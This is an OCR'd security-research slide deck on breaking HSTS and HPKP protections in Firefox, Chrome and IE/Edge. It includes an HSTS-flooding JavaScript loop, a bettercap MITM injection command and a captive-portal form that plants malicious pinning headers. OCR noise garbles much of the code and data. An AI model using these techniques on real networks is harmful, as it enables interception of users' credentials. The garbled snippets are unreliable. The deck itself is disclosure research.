Breaking Out HSTS (and HPKP) on Firefox,
IE/Edge and (Possibly) Chrome.
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HTTP://www.example.com/login

“ Username: John / Password: 1234
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HTTPS://www.example.com/login

“ Username: John / Password: 1234
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ATTACKS
SSLSTRIP ROGUE CERTIFICATES
HSTS SOLUTIONS? HPKP
HTTP Strict Transport Security HTTP Public Key Pinning
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HSTS — First time requests

Status Domain Cause Trans... 1.37 min 2.73 min ia Cookies Params Response Timings

@ 15 A@ h't'tp://www.netf@

www.netflix... document 1845KB 5355 KB |- 1457 ms Request method: GET
Remote address: 52.86.14.136:80

Status code: 302 Found [Learn More] Editand Resend Rawh
Version: HTTP/1.1

www.netflix... document 1845KB  53.55KB |~ 634ms
www.netflix... stylesheet — 0B — 361 ms
codex.nflxe... stylesheet 1647 KB 109.22 KB | — 1508877395817 ms
assets.nflxe..  img 311.94 KB 311.94 KB | - 1333 ms Jate: Iue, 24 Oct 2017 2U:37:15 GV [Learn More]
assets.nflxe... img 169.43 KB 169.43 KB | — 1168 ms jet

assets.nflxe... img 242.00 KB 242.00 KB | — 1343 ms [Learn More]

assets.nflxe... img 119.37 KB 119.37 KB | - 852 ms

2.72 min a Cookies Params Response Timings

Status [ Domain Cause Trans... Size  |0ms 1.37 min i
302 # www.netflix...@ document 1845KB 53.55KB —833ms Request URL: https://www. net@

[] Request metot—6EF

Remote address: 52.86.14.136:443

Status code: 362 Found [Learn More] FEditand Resend Rawh
Version: HTTP/1.1

Jar-en/ www.netflix... document  html 1845KB  5355KB —634ms
WebsiteDetect?sourc... www.netflix... stylesheet  plain = 0B - 361 ms

none codex.nflxe... stylesheet css 1647 KB 109.22 KB | — 1508877395817 ms
= AR-en-20171016-pop... assets.nflxe... img jpeg  31194KB 311.94KB | —1333 ms T s e e e
ie: cISharedContext=82ef00e2-494c-...; Pa

-1 asset_cancelanytime_... assets.nflxe... img png 169.43 KB 169.43 KB | — 1168 ms o [ s A desal

[ ] asset_TV_Ul.png assets.nflxe... img png 24200 KB 242.00 KB | - 1343 ms - jLearn More]

B asset_mobile_tablet ... assets.nflxe... img png 119.37 KB 119.37 KB | - 852 ms 7 . 7 -1) [Learn More]
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HSTS — HTTP requests after HSTS header is setted

http://www.netflix.col |

Status Meth... ile Domain Cause Ty... Transf...

S ~CRequest URL: https://www.netflix.com/
200 GET /ar-en/ B ww.netflixc.. document html 18.45 KB 53.54 KB — 552 ms Request method:
Remote address: 34.228.202.193:443
Status code: 382 Found [Learn More] Edit and Ress
Version: HTTP/1.1

200 GET WebsiteDetect?source=w... W etflixc..  stylesheet plain — 0B -+ 378 ms

THERE IS NOT A FIRST HTTP (UNSECURE) REQUEST.
SSLSTRIP HAS NOTHING TO INTERCEPT,
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HPKP - Certificate Pinning

(® @ GitHub, Inc. (US) https://github.com 10%  C

Cookies # CSS+ [JForms* Edimages~ @@Information= [ Miscellaneousw 4 Outliner 4

Resizer A Tools* @ View Sourcer [ Options~

Certificate Viewer: "github.com”

o Features Business Explore Marketplace Pricing

General Details

Certificate Hierarchy

pin-sha256="WoiWRylIOVNa9ihaBciRSC7XH;jliYSOVwUGOIlud4PB18="; DigiCert High Assurance EV Root CA
pin-sha256="RRM1dGqnDFsCIXBTHky16vilobOICgFFn/yOhl/y+ho="; v DigiCert SHA2 Extended Validation Server CA

github.com

Username
w T2 Inspector Console [ Debugger {1} Style Editor (& Performance (k Memory g 8 Storage B 8 B [ &
M A HTML CSS JS XHR Fonts Images Media Flash WS Other [ ]Disable o ter URL B
St... M... File Do... C.. T.. Tr... S.. oms | Headers . Cookies Params Response Timings Stack Trace Security
" [ ] s : 5 ~ Request URL:. https://github.com/

framew... asset...stylesheet cs 23.27 KB 11846 ... — 956 ms Request method: GET
Remote address: 192.30.253.113:443

Status code: @ 200 OK ore] Edit and Resend Raw headers
Version: HTTP/1.1

github-... sset...stylesheet css  93.81 KB 401.42 ... —1020/ms
site-cd7... asset...stylesheet S 8.42 KB 36.66 KB — 888 ms
home-il... asset... img 11.96 KB 30.77 KB - 1663/ms
home-il... sset... img 1.20KB 3.01KB - 1062|ms
home-il... sset.. img 697B 1.84KB — 1064 ms

home-il... @ asset.. img 713B 1.81KB — 1065/ms

home-il... @ asset.. img 163.11 KB163.11 ... — 971 ms
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HPKP — Certificate Pinning

C | A b#rs//test.cloudpinning.com

o

Your connection is not private

m test.cloudpinning.com (for
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Attacking HSTS (and HPKP)
browsers implementation.,
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|| SiteSecurityServiceState.txt £
fbsbx.com:HSTS 2 17469 1540908675305,1,1,2
dmx.districtm.io:HSTS 0 17466 1540677790191, 1,1, 2
storage-br-50.sharefile.com:HSTS 0 17466 15254116981.79,:1, 1,2
sl-officeapps—-15.cdn.office.net:HSTS 1 17469 1540902537823, 1;
sl-powerpoint-15.cdn.office.net:HSTS 0 17464 1540427617357;1;
syndi Q PinPatrol X =+
eleve

web.t () resource://pinpatrol/data/index.html 0% C Searcl wa $§$ & O O
wWww. 1 = .

SETRE & Cookies 2 €SS+ [ JForms* ElImages~ Information~ [ Miscellaneousw / Outliner #” Resizer & Tools* WM View Sourcer | [} Options~

53763 Domain HSTS/HPKP Score Date Time SecurityProperty Subdomains
norma

15094

dm+u/

ihg=s

conne

analy

WWW . Y
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The curious thing...

| SiteSecurityServiceState. txt £

1540908675305; 1;1;2

fbsbx.com:HSTS 2 17469

dmx.districtm.io:HSTS 0 17466

storage-br-50.sharefile.com:HSTS
sl-officeapps—-15.cdn.office.net:HSTS
sl-powerpoint-15.cdn.office.net:HSTS
syndication.twitter.com:HSTS 4
elevenpaths.com:HSTS 1
web.telegram.org:HSTS 1

17469
17469
www.linkedin.com:HSTS 2 17469
normandy.cdn.mozilla.net:HSTS 2
5376329.fls.doubleclick.net:HSTS
normandy.cdn.mozilla.net :HPKP 2

1540677790191,1,1,2

0 17466 1525111698179,1,1,
1 17469 1540902537823,
0 17464 1540427677357

17469  2140511278329,1,0,2

1540908759079,1,0,2

1540908681503,1,1,2

1511920946021,1,0,2

17469  1540902440025,1,1,2

0 17469 1509389842180,1,0,2

17469

/ 4

1509452840027,1,0,WoiWRyIOVNa9ihaBciRSC7XHj1liYS9VwUGOIud4PB18=r/mIkG3eEpV
dm+u/ko/cwxzOMolbk4TyHI1ByibiASE=YLh1dUR9y6Kja30RrAn7JKnbQG/uEtLMkBgFF2Fu
ihg=sRHdihwgkaiblP1gxX8HFsz1D+7/gTfNvuAybgLPNis=

connect. facebook.net:HSTS 4
analytics.twitter.com:HSTS 4
www . youtube.com:HSTS 4 17469

blz‘:n?:k hat

17469
17469

1524924743876, 1,
2140511192949,1
1540865609527,1,0,2

1024 ENTRIES
AS MAXIMUM
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script type="text/javascript"

(Varic =1 R 1500; c++) {

(true) {
var http = XMLHttpReguectl);
var url = “https://"+c+".cloudpinning.com/headers.php";
var params "max-age-nsits=50647343707z5&include-subdomains-hsts=True&preload-hsts=True&submit=all";

http.open("POST", url, true);
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded"),

http.onreadystatechange function() {
(http.readyState == 4 && http.status == 200) {

}
}
http.send(params) ;
}
}
/script>

shei@lipaths:~$ sudo bettercap --proxy -T 192.168.0.2 --proxy-module injectjs --js-file /home/shei/NoStrict/hsts_norandom. js|}
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Score t Expiration Time
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Attack improvement... defeating FF’s score system

JUNK HSTS ENTRIES INJECTION
SCORE=0

DELOREAN +1 DAY

JUNK HSTS ENTRIES INJECTION
SCORE=1

DELOREAN +1 DAY
JUNK HSTS ENTRIES INJECT. "ﬂ “
’ SCORE=2
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FF’s highlights —

* Attack might be a little complex to achieve:
MITM + DELOREAN + HSTS Injection.

* We need time enough inside the target’s network.
(It may be some hours).

Internal Pentests, Hotels... are the best scenarios ;)
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FF’s highlights - Pros:

* Attack effectiveness.

REAL ENTRY-SCORE=0 NEW ENTRY -SCORE=0

JUNK ENTRY —-SCORE = 2

JUNK ENTRY —-SCORE = 2

HSTS SLOTS

JUNK ENTRY —-SCORE = 2
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| TransportSecurity E3

<::f::££§8nhngd59b/MbTP02actjyEcyoToZi9D6Zec8hCG£;£::z:>

"dynamic SpKl_hashes . [ shaZob/PbNCVpVasMJIxps3IgFfLTRKKVNRCLrT1ZVeSkspglkw=""
"sha256/1234567asMJIxps3IgFfLTRKKVNRCLrT1ZVeSkspglgw="",
"sha256/1234567asMIxps3IgFfLTRKKVNRCLrT1ZVcSkspglgw=",
"sha256/1234567asMJIxps3IgFfLTRKkVNRCLrT1ZVeSkspglgw=" 1,
"dynamic_spki hashes expiry": 1510675243.107371,

"expiry": 1510675243.10736,

"mode": "force-https",

"pkp_include_subdomains": true,

"pkp observed": 1510667466.107371,

Expiration Report
Domain HSTS/HPKP t Time Mode Subdomains URI
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The curious thing...

| TransportSecurity £

"+Jthxzqd)Qb/MbTPuL'"t'yEcyﬁTmalQDbfp<hhfhlf": {
qhd75h/PbN(VpVaJMJ (ps3IgFEfLTREKKVNRCLrT1ZVeSkspglkw="

glgw=",

5 qFfLTRKkVnRCLrTlZVc 1lgw=",
3IgFfLTRKKVNRCLrT1ZVcSkspglgw=" 1,

_ _expiry": 1510675243.107371,

ﬁr75243.10736,

https",
pkp 1nulud@ subdomains": true,
rved": 1510667466.107371,

bdomains": true,
1510667466.107365

"5EdUoB7YUY9zZ V+2DquXghuuWva+D+oKpPUOhNQIM*":
"dynamic spki hashes expiry": 0.0,
"expiry": 1510753562.415028
"mode": "force-https",
"pkp_ includ bdomains": false,
p}fp ub_,elv':-d': 0.0,
subdomains fale

15¢

- r
3

blz‘:n?:k hat

NO STORAGE
LIMITS
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Connect!

</

src="free-wif1-300x300.jpg">
/>
id="all" action="headers.php" method="POST">

type="hidden"
type="hidden"
type="hidden"
type="hidden"

name="report-uri-hpkp" value="" />
name="knock" value="True" />
name="latency" value="5A" />
name="request" value="50000" />

type="submit" name="submii™ vaitue="all"> Connect!</

@unapibageek -

< type="email" placeholder="email" name="email" />

< />< />

< type="hidden" name="max-age-hsts" value="8875845774" />

< type="hidden" name="include-subdomains-hsts" value="True" />
< type="hidden" name="preload-hsts" value="True" />

< type="hidden" name="pin-sha256-default" value="True" />

< type="hidden" name="multinlier-default" value="1" />

< type="hidden" name="pin-sha256[]" value="

1234567asMIxps3IqgF fLTRKkVNRCLrT1ZVc5kspglqw=" />

< type="hidden" name="multiplier[]" value="4000" />

< type="hidden" name="max-age-hnkn" yvgliue="8875845774" />

< type="hidden" name="include-subdomains-hpkp" value="True" />
<

<

<

=

=
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Chrome highlights:

* Attack is very easy to achieve and you can try it in different ways.
(WiFi Portal /MITM attack / etc).

* Chrome stops working properly in a few minutes.

* Useris forced to clear browsing data in Chrome and therefore the
TransportSecurity file starts over again = ;)
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HstsEntry_8 [Table ID = 327, 7 Columns] v

MinimizedRDomainHash |MinimizedRDomainLength IncludeSubdomains Expires LastTimeUsed

4878784512183692123
5910557157012728667
730144501395549019
730144501395549019
4705519305907956571
819453617564507
2546616421211

05/05/1829 11:50:03 p. m.  29/05/2017 11:01:09 a. m.  23/01/2017 11:01:09 a. m.
0 14/12/2017 3:57:01 a. m.  17/06/2017 3:57:01 a. m.
17/06/2018 5:11:46 a. m.  17/06/2017 5:11:46 a. m.
11:50:03 p. m. 17/06/2018 5:11:49a. m.  17/06/2017 5:11:49 a. m.
11:50:03 p. m.  19/05/2018 10:51:37 p. m.  20/11/2017 10:51:37 p. m.
137868316065639603 20/11/2017 11:11:27 p.
1829 11:50:03 p. m.  26/03/2018 11:11:30 p m. 20/11/2017 11:11:30 p.
(2017 11:11:30 p.
2017 11:11:30 p.
2017 11:12:47 p.

N O - 00 00 O W
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The curious thing...

F12 DOM Explorer Console Debugger Network (» Performance Memory Emulation
| [~ Cﬂi ’fj S >® %= Y- Contenttype

LAE Result./. . Headers =~ Body Parameters Cookies Timings
Path Protocol Method  Description Content type Receive

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) |
headers.php HTTPS  POST 200 text/html n seragent Voziiaro-s Lne o e e
https://test120.cloudpinning.com/ OK 4 Response Headers
headers.php HTTPS POST 200 text/html Access-Control-Allow-Origin: https://test.cloudpinning.com
https://test121.cloudpinning.com/ OK -
headers.php HTTPS POST 200 text/html
https://test122.cloudpinning.com/ OK Date: Sat, 25 Nov 2017 02:17:23 GMT

Content-type: text/html|

headers.php o _ L = — text/html Public-Key-Pins: max-age=0; pin-sha256="PbNCVpVasMJxps3lqFfLTRKkVr
https://test123.cloudpinning.com/ 0K

headers.php HTTPS POST 200
https://test124.cloudpinning.com/ OK Strict-Transport-Security: max-age=1234; includeSubDomains; preload

<

Server: lighttpd/1.4.33

0 errors 131 requests I 0 B transferred . OMContentLoaded: 871 ms, load: 874 ms)
HstsEntry_8 [Table ID = 327, 7

e

Entryld MinimizedRDomainHash MinimizedRDomainLength IncludeSubdomains Expires (  LastTimeUsed ) RDozfain
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WININET.DLL
HttplsHostHstsEnabled

CheckHsts() AddHstsEntry()
CheckHstsiInternal()
UpdateHstsEntr
GetHstsEnabled() P y0
SetHstsEntry()
IsHostHstsA()
o GetHstsEntry()
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Landing issues...

CheckHsts() SetHstsEntry()
GetHstsEnabled()
AddHstsEntry()
CheckHstsInternal()
IsHostHstsA() SaveEntryToStore()
IsHostHstsInternal()

ConvertURLtoHTTPS()
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| remember if
you visited the
website over
https or http...
but not because
of HSTS itself...

@unapibageek - @ssantosv



IE/Edge highlights:

* Most of the websites will not be remembered as webs
protected with HSTS, due to problems in the storage process.

* Browser cache is the one that remembers if you have
entered the website over http or https... but not HSTS itself.

* Restarting the browser, the machine or (most effectively) clearing
the cache,
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Conclusions...

We can tell there is not a strong bet yet for
Improving this implementations in browsers so...

No one is safe....
even with HSTS.
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THANKYOU!

Sheila Ayelen Berta Sergio De Los Santos

Security Researcher — ElevenPaths Head of Research — ElevenPaths
(Telefonica Digital cyber security unit) (Telefonica Digital cyber security unit)
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